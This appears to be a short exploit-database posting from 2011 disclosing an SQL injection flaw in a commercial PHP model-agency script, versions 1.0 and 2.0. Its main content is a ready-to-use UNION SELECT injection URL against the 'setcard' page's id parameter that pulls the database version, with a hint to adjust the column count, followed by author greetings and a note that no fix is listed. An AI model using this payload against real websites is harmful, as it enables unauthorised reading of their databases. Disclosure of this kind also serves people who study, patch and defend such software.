Model Agentur Script SQL Injection Vunerability

2011-02-08 19:15:08

# Exploit Title: Model Agentur Script SQL Injection Vunerability
# Platform: php
# Date: 05.02.2011
# Author: NoNameMT
# Software Link: http://www.media-products.de/model-agentur-p-269.html AND
http://www.media-products.de/model-agentur-v2-p-420.html
# Price: 19,95 € / 29,95 €
# Version: 1.0 / 2.0
# Tested on: Windows 7
# Mail: [email protected]
# Homepage: http://nonamemt.us

# Exploit:
http://localhost/index.php?page=setcard&id=-618+union+select+1,2,3,4,5,version%28%29,7,8,9,10,11,12--+

Maybe there a diffrent number of columns

# Greetings:
J0hn.X3r, 4004-security-project.com, TamCore, bursali, theeddy42

Fixes

No fixes

In order to submit a new fix you need to be registered.